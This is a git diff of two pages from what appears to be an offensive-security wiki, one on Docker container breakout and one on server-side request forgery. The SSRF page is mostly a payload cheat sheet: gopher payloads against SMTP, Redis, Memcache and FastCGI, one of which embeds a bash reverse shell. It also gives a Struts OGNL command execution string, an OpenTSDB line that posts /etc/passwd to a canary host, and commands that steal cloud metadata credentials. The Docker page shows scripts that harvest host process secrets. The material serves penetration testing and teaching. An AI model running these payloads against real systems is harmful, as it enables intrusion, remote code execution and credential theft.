&#x20;`--privileged` **provides far more permissions** than needed to escape a docker container via this method. In reality, the “only” requirements are:
1. We must be **running as root** inside the container
2. The container must be run with the **`SYS_ADMIN` Linux capability**
3. The container must lack an AppArmor profile, or otherwise allow the `mount` syscall
4. The cgroup v1 virtual filesystem must be mounted read-write inside the container
The `SYS_ADMIN` capability allows a container to perform the mount syscall (see [man 7 capabilities](https://linux.die.net/man/7/capabilities)). [Docker starts containers with a restricted set of capabilities](https://docs.docker.com/engine/security/security/#linux-kernel-capabilities) by default and does not enable the `SYS_ADMIN` capability due to the security risks of doing so.
Further, Docker [starts containers with the `docker-default` AppArmor](https://docs.docker.com/engine/security/apparmor/#understand-the-policies) policy by default, which [prevents the use of the mount syscall](https://github.com/docker/docker-ce/blob/v18.09.8/components/engine/profiles/apparmor/template.go#L35) even when the container is run with `SYS_ADMIN`.
A container would be vulnerable to this technique if run with the flags: `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN`
### Abusing release\_agents without knowing relative path
#### Privileged Escape Abusing release\_agent without known the relative path - PoC3
In the previous exploits the **absolute path of the continer inside the hosts filesystem is disclosed**. However, this isn’t always the case. In cases where you **don’t know the absolute path of the continer inside the host** you can use this technique:
@ -323,7 +328,7 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
...
```
### Sensitive Mounts
#### Privileged Escape Abusing Sensitive Mounts
There are several files that might mounted that give **information about the underlaying host**. Some of them may even indicate **something to be executed by the host when something happens** (which will allow a attacker to escape from the container).\
The abuse of these files may allow that:
@ -340,17 +345,83 @@ However, you can find **other sensitive files** to check for in this page:
[sensitive-mounts.md](docker-breakout-privilege-escalation/sensitive-mounts.md)
{% endcontent-ref %}
### Host Networking
### Arbitrary Mounts
In several occasions you will find that the **container has some volume mounted from the host**. If this volume wasn’t correctly configured you might be able to **access/modify sensitive data**: Read secrets, change ssh authorized\_keys…
```bash
docker run --rm -it -v /:/host ubuntu bash
```
### hostPID
If you can access the processes of the host you are going to be able to access a lot of sensitive information stored in those processes. Run test lab:
```
docker run --rm -it --pid=host ubuntu bash
```
For example, you will be able to list the processes using something like `ps auxn` and search for sensitive details in the commands.
Then, as you can **access each process of the host in /proc/ you can just steal their env secrets** running:
```bash
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd
...
```
You can also **access other processes file descriptors and read their open files**:
```bash
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt
...omitted for brevity...
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/2 -> /dev/pts/0
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4
```
You can also **kill processes and cause a DoS**.
### hostNetwork
```
docker run --rm -it --network=host ubuntu bash
```
If a container was configured with the Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the **container binds all services directly to the host's IP**. Furthermore the container can **intercept ALL network traffic that the host** is sending and receiving on shared interface `tcpdump -i eth0`.
For instance, you can use this to **sniff and even spoof traffic** between host and metadata instance.
Example:
Like in the following examples:
* [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
* [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
You will be able also to access **network services binded to localhost** inside the host or even access the **metadata permissions of the node** (which might be different those a container can access):
{% content-ref url="../../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md" %}
[kubernetes-access-to-other-clouds.md](../../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md)
{% endcontent-ref %}
### hostIPC
```
docker run --rm -it --ipc=host ubuntu bash
```
If you only have `hostIPC=true`, you most likely can't do much. If any process on the host or any processes within another pod is using the host’s **inter-process communication mechanisms** (shared memory, semaphore arrays, message queues, etc.), you'll be able to read/write to those same mechanisms. The first place you'll want to look is `/dev/shm`, as it is shared between any pod with `hostIPC=true` and the host. You'll also want to check out the other IPC mechanisms with `ipcs`.
* **Inspect /dev/shm** - Look for any files in this shared memory location: `ls -la /dev/shm`
* **Inspect existing IPC facilities** – You can check to see if any IPC facilities are being used with `/usr/bin/ipcs`. Check it with: `ipcs -a`
## CVEs
### Runc exploit (CVE-2019-5736)
In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload.
@ -368,9 +439,11 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
There are other CVEs the container can be vulnerable too, you can find a list in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
{% endhint %}
## Breakout Templates
### Container Breakout through Usermode helper Template
If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions:
If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):
* Find the **path of the containers filesystem** inside the host
* You can do this via **mount**, or via **brute-force PIDs** as explained in the second release\_agent exploit
@ -388,3 +461,4 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
* [https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d](https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d)
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver)
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)

169
pentesting-web/ssrf-server-side-request-forgery.md
View file

@ -16,7 +16,7 @@ Server-side request forgery (also known as SSRF) is a web security vulnerability
## Internet Exfiltration Services
You could use **burpcollab** or [**pingb**](http://pingb.in) **** for example.&#x20;
You could use **burpcollab** or [**pingb**](http://pingb.in) for example.
## Bypass restrictions
@ -94,6 +94,19 @@ http://bugbounty.dod.network = 127.0.0.2 (localhost)
spoofed.burpcollaborator.net = 127.0.0.1
```
### Blackslash-trick
In short, the _backslash-trick_ relies on exploiting a minor difference between two “URL” specifications: the [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing), and [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). RFC3986 is a generic, multi-purpose specification for the syntax of _Uniform Resource Identifiers_, while the WHATWG URL Standard is specifically aimed at the Web, and at URLs (which are a subset of URIs). Modern browsers implement the WHATWG URL Standard.
Both of them describe a way of parsing URI/URLs, with one slight difference. The WHATWG specification describes [one extra character](https://url.spec.whatwg.org/#authority-state), the `\`, which behaves just like `/`: ends the hostname & authority and starts the path of the URL.
![The two specifications parsing the same URL differently](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
```
url=https://attacker.com\@victim.com/
url=https://attacker.com\anything@victim.com/
```
### Other bypasses
```bash
@ -122,7 +135,7 @@ http://127.1.1.1:80#\@127.2.2.2:80/
### Bypass domain regexp
[**Go to the proposed bypasses for Referer header in CSRF**](csrf-cross-site-request-forgery.md#referer)****
[**Go to the proposed bypasses for Referer header in CSRF**](csrf-cross-site-request-forgery.md#referer)\*\*\*\*
### Bypass via redirect
@ -211,10 +224,9 @@ ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
### Gopher://
Using this protocol you can specify the **IP, port and bytes** you want the server to **send**. Then, you can basically exploit a SSRF to **communicate with any TCP server** (but you need to know how to talk to the service first).\
Fortunately, you can use [Gopherus](https://github.com/tarunkant/Gopherus) to create payloads for several services. Additionally, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
can be used to create *gopher* payloads for *Java RMI* services.
Fortunately, you can use [Gopherus](https://github.com/tarunkant/Gopherus) to create payloads for several services. Additionally, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) can be used to create _gopher_ payloads for _Java RMI_ services.
#### Gopher smtp&#x20;
#### Gopher smtp
```
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
@ -253,9 +265,9 @@ https://example.com/?q=http://evil.com/redirect.php.
### SMTP
From [https://twitter.com/har1sec/status/1182255952055164929](https://twitter.com/har1sec/status/1182255952055164929):\
1\. connect with SSRF on smtp localhost:25 \
2\. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy) ESMTP Sendmail \
3\. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH) on github, find subdomains \
1\. connect with SSRF on smtp localhost:25\
2\. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail\
3\. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains\
4\. connect
### SSRF with Command Injection
@ -264,7 +276,7 @@ It might be worth trying a payload like: `` url=http://3iufty2q67fuy2dew3yug4f34
### Exploiting PDFs Rendering
If the web page is automatically creating a PDF with some information you have provided, you can **insert some JS that will be executed by the PDF creator** itself (the server) while creating the PDF and you will be able to abuse a SSRF. [**Find more information here.**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)****
If the web page is automatically creating a PDF with some information you have provided, you can **insert some JS that will be executed by the PDF creator** itself (the server) while creating the PDF and you will be able to abuse a SSRF. [**Find more information here.**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)\*\*\*\*
### From SSRF to DoS
@ -297,7 +309,7 @@ For **more information** take a look to the talk where this attack is explained:
#### 169.254.169.254 - Metadata Address
**Metadata** of the basic virtual machines from AWS (called EC2) can be retrieved from the VM accessing the url: `http://169.254.169.254` ([information about the metadata here](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
**Metadata** of the basic virtual machines from AWS (called EC2) can be retrieved from the VM accessing the url: `http://169.254.169.254` ([information about the metadata here](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
The IP address 169.254.169.254 is a magic IP in the cloud world. AWS, Azure, Google, DigitalOcean and others use this to allow cloud resources to find out metadata about themselves. Some, such as Google, have additional constraints on the requests, such as requiring it to use `Metadata-Flavor: Google` as an HTTP header and refusing requests with an `X-Forwarded-For` header. **AWS has no constraints**.
@ -346,15 +358,19 @@ Notice the **aws\_session\_token**, this is indispensable for the profile to wor
Information taken from: [http://ghostlulz.com/ssrf-aws-credentials/](http://ghostlulz.com/ssrf-aws-credentials/) (read that post for further information).\
Another possible interesting place where you can find credentials is in[ http://169.254.169.254/user-data](http://169.254.169.254/user-data)
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) **** can be used with the discovered credentials to find out your privileges and try to escalate privileges
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) can be used with the discovered credentials to find out your privileges and try to escalate privileges
### SSRF in AWS ECS (Container Service) credentials
**ECS**, is a logical group of EC2 instances on which you can run an application without having to scale your own cluster management infrastructure because ECS manages that for you. If you manage to compromise service running in **ECS**, the **metadata endpoints change**.
If you access _**http://169.254.170.2/v2/credentials/\<GUID>**_ you will find the credentials of the ECS machine. But first you need to **find the **_**\<GUID>**_ . To find the \<GUID> you need to read the **environ** variable _**AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI**_ inside the machine. \
If you access _**http://169.254.170.2/v2/credentials/\<GUID>**_ you will find the credentials of the ECS machine. But first you need to **find the \_\<GUID>**\_ . To find the \<GUID> you need to read the **environ** variable **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** inside the machine.\
You could be able to read it exploiting an **Path Traversal** to _file:///proc/self/environ_\
__The mentioned http address should give you the **AccessKey, SecretKey and token**.
\_\_The mentioned http address should give you the **AccessKey, SecretKey and token**.
```bash
curl "http://169.254.170.2/$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2/$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
### SSRF URL for AWS Elastic Beanstalk <a href="#6f97" id="6f97"></a>
@ -371,7 +387,7 @@ We then retrieve the `AccessKeyId`, `SecretAccessKey`, and `Token` from the API.
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20)![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL)
![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL)
Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
@ -549,8 +565,6 @@ You can use [https://github.com/teknogeek/ssrf-sheriff](https://github.com/tekno
This section was copied from [https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)
<div id="elasticsearch"></div>
## Elasticsearch
**Commonly bound port: 9200**
@ -576,8 +590,6 @@ Note: the `_shutdown` API has been removed from Elasticsearch version 2.x. and u
/_cluster/nodes/_all/_shutdown
```
<div id="weblogic"></div>
## Weblogic
**Commonly bound ports: 80, 443 (SSL), 7001, 8888**
@ -668,16 +680,12 @@ Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")
```
<div id="consul"></div>
## Hashicorp Consul
**Commonly bound ports: 8500, 8501 (SSL)**
Writeup can be found [here](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html).
<div id="shellshock"></div>
## Shellshock
**Commonly bound ports: 80, 443 (SSL), 8080**
@ -694,8 +702,6 @@ Short list of CGI paths to test:
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY
```
<div id="druid"></div>
## Apache Druid
**Commonly bound ports: 80, 8080, 8888, 8082**
@ -725,15 +731,15 @@ Shutdown supervisors on Apache Druid Overlords:
/druid/indexer/v1/supervisor/{supervisorId}/shutdown
```
<div id="solr"></div>
## Apache Solr
**Commonly bound port: 8983**
**SSRF Canary: Shards Parameter**
<blockquote class="twitter-tweet" data-conversation="none" data-theme="dark"><p lang="en" dir="ltr">To add to what shubham is saying - scanning for solr is relatively easy. There is a shards= param which allows you to bounce SSRF to SSRF to verify you are hitting a solr instance blindly.</p>&mdash; Хавиж Наффи 🥕 (@nnwakelam) <a href="https://twitter.com/nnwakelam/status/1349298311853821956?ref_src=twsrc%5Etfw">January 13, 2021</a></blockquote>
> To add to what shubham is saying - scanning for solr is relatively easy. There is a shards= param which allows you to bounce SSRF to SSRF to verify you are hitting a solr instance blindly.
>
> — Хавиж Наффи 🥕 (@nnwakelam) [January 13, 2021](https://twitter.com/nnwakelam/status/1349298311853821956?ref\_src=twsrc%5Etfw)
Taken from [here](https://github.com/veracode-research/solr-injection).
@ -757,8 +763,6 @@ Taken from [here](https://github.com/veracode-research/solr-injection).
[Research on RCE via dataImportHandler](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)
<div id="peoplesoft"></div>
## PeopleSoft
**Commonly bound ports: 80,443 (SSL)**
@ -814,8 +818,6 @@ Content-Type: application/xml
<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">
```
<div id="struts"></div>
## Apache Struts
**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)**
@ -830,8 +832,6 @@ Append this to the end of every internal endpoint/URL you know of:
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
```
<div id="jboss"></div>
## JBoss
**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)**
@ -844,13 +844,11 @@ Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war
```
<div id="confluence"></div>
## Confluence
**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)**
**SSRF Canary: Sharelinks (Confluence versions released from 2016 November and older)**
**SSRF Canary: Sharelinks (Confluence versions released from 2016 November and older)**
```bash
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/
@ -864,9 +862,6 @@ Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
```
<div id="jira"></div>
## Jira
**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)**
@ -887,18 +882,17 @@ Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com
```
<div id="atlassian-products"></div>
## Other Atlassian Products
**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)**
**SSRF Canary: iconUriServlet (CVE-2017-9506)**:
- Bamboo < 6.0.0
- Bitbucket < 4.14.4
- Crowd < 2.11.2
- Crucible < 4.3.2
- Fisheye < 4.3.2
* Bamboo < 6.0.0
* Bitbucket < 4.14.4
* Crowd < 2.11.2
* Crucible < 4.3.2
* Fisheye < 4.3.2
[Atlassian Security Ticket OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
@ -906,8 +900,6 @@ Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
```
<div id="opentsdb"></div>
## OpenTSDB
**Commonly bound port: 4242**
@ -928,8 +920,6 @@ Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
```
<div id="jenkins"></div>
## Jenkins
**Commonly bound ports: 80,443 (SSL),8080,8888**
@ -958,8 +948,6 @@ pay = 'public class x {public x(){"%s".execute()}}' % cmd
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)
```
<div id="hystrix"></div>
## Hystrix Dashboard
**Commonly bound ports: 80,443 (SSL),8080**
@ -972,8 +960,6 @@ Spring Cloud Netflix, versions 2.2.x prior to 2.2.4, versions 2.1.x prior to 2.1
/proxy.stream?origin=http://SSRF_CANARY/
```
<div id="w3"></div>
## W3 Total Cache
**Commonly bound ports: 80,443 (SSL)**
@ -998,7 +984,7 @@ Connection: close
**SSRF Canary**
The advisory for this vulnerability was released here: [W3 Total Cache SSRF vulnerability](https://klikki.fi/adv/w3_total_cache.html)
The advisory for this vulnerability was released here: [W3 Total Cache SSRF vulnerability](https://klikki.fi/adv/w3\_total\_cache.html)
This PHP code will generate a payload for your SSRF Canary host (replace `url` with your canary host):
@ -1043,9 +1029,9 @@ Replace alpine with an arbitrary image you would like the docker container to ru
**Commonly bound ports: 9121**
This vulnerability affects Gitlab instances before version 13.1.1. According to the [Gitlab documentation](https://docs.gitlab.com/ee/administration/monitoring/prometheus/#configuring-prometheus) `Prometheus and its exporters are on by default, starting with GitLab 9.0. `
This vulnerability affects Gitlab instances before version 13.1.1. According to the [Gitlab documentation](https://docs.gitlab.com/ee/administration/monitoring/prometheus/#configuring-prometheus) `Prometheus and its exporters are on by default, starting with GitLab 9.0.`
These exporters provide an excellent method for an attacker to pivot and attack other services using CVE-2020-13379. One of the exporters which is easily exploited is the Redis Exporter.
These exporters provide an excellent method for an attacker to pivot and attack other services using CVE-2020-13379. One of the exporters which is easily exploited is the Redis Exporter.
The following endpoint will allow an attacker to dump all the keys in the redis server provided via the target parameter:
@ -1053,20 +1039,18 @@ The following endpoint will allow an attacker to dump all the keys in the redis
http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
```
----------
***
**Possible via Gopher**
<div id="redis"></div>
## Redis
**Commonly bound port: 6379**
Recommended reading:
- [Trying to hack Redis via HTTP requests](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)
- [SSRF Exploits against Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)
* [Trying to hack Redis via HTTP requests](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html)
* [SSRF Exploits against Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)
**RCE via Cron** - [Gopher Attack Surfaces](https://blog.chaitin.cn/gopher-attack-surfaces/)
@ -1124,7 +1108,7 @@ if __name__=="__main__":
print payload
```
**RCE via authorized_keys** - [Redis Getshell Summary](https://www.mdeditor.tw/pl/pBy0)
**RCE via authorized\_keys** - [Redis Getshell Summary](https://www.mdeditor.tw/pl/pBy0)
```python
import urllib
@ -1171,23 +1155,19 @@ While this required authenticated access to GitLab to exploit, I am including th
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
<div id="memcache"></div>
## Memcache
**Commonly bound port: 11211**
- [vBulletin Memcache RCE](https://www.exploit-db.com/exploits/37815)
- [GitHub Enterprise Memcache RCE](https://www.exploit-db.com/exploits/42392)
- [Example Gopher payload for Memcache](https://blog.safebuff.com/2016/07/03/SSRF-Tips/#SSRF-memcache-Getshell)
* [vBulletin Memcache RCE](https://www.exploit-db.com/exploits/37815)
* [GitHub Enterprise Memcache RCE](https://www.exploit-db.com/exploits/42392)
* [Example Gopher payload for Memcache](https://blog.safebuff.com/2016/07/03/SSRF-Tips/#SSRF-memcache-Getshell)
```bash
gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a
```
<div id="tomcat"></div>
## Apache Tomcat
**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)**
@ -1200,9 +1180,6 @@ CTF writeup using this technique:
[From XXE to RCE: Pwn2Win CTF 2018 Writeup](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)
<div id="fastcgi"></div>
## FastCGI
**Commonly bound ports: 80,443 (SSL)**
@ -1213,18 +1190,13 @@ This was taken from [here](https://blog.chaitin.cn/gopher-attack-surfaces/).
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
```
<div id="java-rmi"></div>
## Java RMI
**Commonly bound ports: 1090,1098,1099,1199,4443-4446,8999-9010,9999**
Blind *SSRF* vulnerabilities that allow arbitrary bytes (*gopher based*) can be used to perform deserialization or
codebase attacks on the *Java RMI* default components (*RMI Registry*, *Distributed Garbage Collector*, *Activation System*).
A detailed writeup can be found [here](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/). The following listing
shows an example for the payload generation:
Blind _SSRF_ vulnerabilities that allow arbitrary bytes (_gopher based_) can be used to perform deserialization or codebase attacks on the _Java RMI_ default components (_RMI Registry_, _Distributed Garbage Collector_, _Activation System_). A detailed writeup can be found [here](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/). The following listing shows an example for the payload generation:
```console
```
$ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher
[+] Creating ysoserial payload... done.
[+]
@ -1233,48 +1205,37 @@ $ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.n
[+] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]
```
-------------------
***
**Tools**
<div id="gopherus"></div>
## Gopherus
- [Gopherus - Github](https://github.com/tarunkant/Gopherus)
- [Blog post on Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
* [Gopherus - Github](https://github.com/tarunkant/Gopherus)
* [Blog post on Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
This tool generates Gopher payloads for:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
<div id="remote-method-guesser"></div>
* MySQL
* PostgreSQL
* FastCGI
* Redis
* Zabbix
* Memcache
## remote-method-guesser
- [remote-method-guesser - Github](https://github.com/qtc-de/remote-method-guesser)
- [Blog post on SSRF usage](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
* [remote-method-guesser - Github](https://github.com/qtc-de/remote-method-guesser)
* [Blog post on SSRF usage](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
*remote-method-guesser* is a *Java RMI* vulnerability scanner that supports attack operations for most common *Java RMI*
vulnerabilities. Most of the available operations support the ``--ssrf`` option, to generate an *SSRF* payload for the
requested operation. Together with the ``--gopher`` option, ready to use *gopher* payloads can be generated directly.
<div id="ssrfproxy"></div>
_remote-method-guesser_ is a _Java RMI_ vulnerability scanner that supports attack operations for most common _Java RMI_ vulnerabilities. Most of the available operations support the `--ssrf` option, to generate an _SSRF_ payload for the requested operation. Together with the `--gopher` option, ready to use _gopher_ payloads can be generated directly.
## SSRF Proxy
- [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
* [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
SSRF Proxy is a multi-threaded HTTP proxy server designed to tunnel client HTTP traffic through HTTP servers vulnerable to Server-Side Request Forgery (SSRF).
## References
* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)